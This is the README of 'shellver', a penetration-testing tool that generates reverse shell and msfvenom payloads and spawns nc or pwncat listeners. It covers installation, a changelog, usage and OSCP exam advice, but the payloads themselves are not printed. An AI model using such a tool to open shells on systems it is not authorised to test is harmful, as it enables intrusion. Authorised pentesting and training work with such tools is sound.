Install Note

Clone the repository:

git clone https://github.com/jonasw234/shellver.git

Then go inside:

cd shellver/

Then install it:

pip install --user -r requirements.txt

if you want to use pwncat, you’ll also need to run

pip install --user -r pwncat-requirements.txt

and if you want to assist development, running

pip install --user -r dev-requirements.txt

will install the packages I use for formatting, linting and debugging.

Run shellver -h for help, shellver shell for reverse shells handled by a nc listener (universal), shellver pwncat for reverse shells handled by a pwncat listener (Linux only) or shellver msf for msfvenom payloads.

Changes from the original

• Upgraded to Python 3
• Automatically spawn listener for msfvenom payloads
• Color coding for each different OS shell
• Reordered payloads a bit (at the beginning are only Linux payloads)
• No longer use Google DNS to find out LAN IP
• Remove requests dependency
• Automatically use sudo if needed
• Included support for pwncat
• Try to bind only to the interface that was selected at the start
• Show only Windows reverse shells if invoked with rlwrap, only Linux reverse shells if pwncat is selected as listener
• Some more listeners and msfvenom payloads
• Split requirements files into different categories
• Probably a bunch more stuff I’m currently forgetting

Example

shellver shell

(like it says you should use my upgrade-tty to upgrade your TTY for Linux systems if you’re not using pwncat!)

shellver msf

(asks for sudo password because euid is not 0 and port is < 1024)

From https://github.com/swisskyrepo

When you know that you’re spawning a reverse shell from a Windows system, I suggest invoking shellver with rlwrap for readline mappings, i.e.

rlwrap ./shellver.py shell

Warning about usage in OSCP

You should not use the msfvenom payloads that shellver creates in your OSCP exam; they use meterpreter payloads, so you can only use them on one machine!

TODO

• Remove msfpc dependency (doesn’t support every payload I wanted, so I had to implement my own routines anyway)
• Make it possible to pass custom listeners
• Bind to specified interface only (or to all if no LAN IP address was used)
• If using pwncat only show Linux (or universal) reverse shells
• If using rlwrap only show Windows (or universal) reverse shells
• Make it possible to use non-default network interfaces when you have more than one
• Make it possible to use a completely different IP address if you create the payload on your machine but want to run the listener on a different (Internet exposed) server
• Sanity check for user inputs and ask for corrections
• msfvenom payloads where no compatible msfpc payload exists (e.g. shellcode) don’t automatically spawn a shell yet

Thanks to

• The original shellver
• msfpc
• Reverse Bash Shell One Liner
• Pentest Monkey - Cheat Sheet Reverse shell
• Spawning a TTY Shell
• Obtaining a fully interactive shell
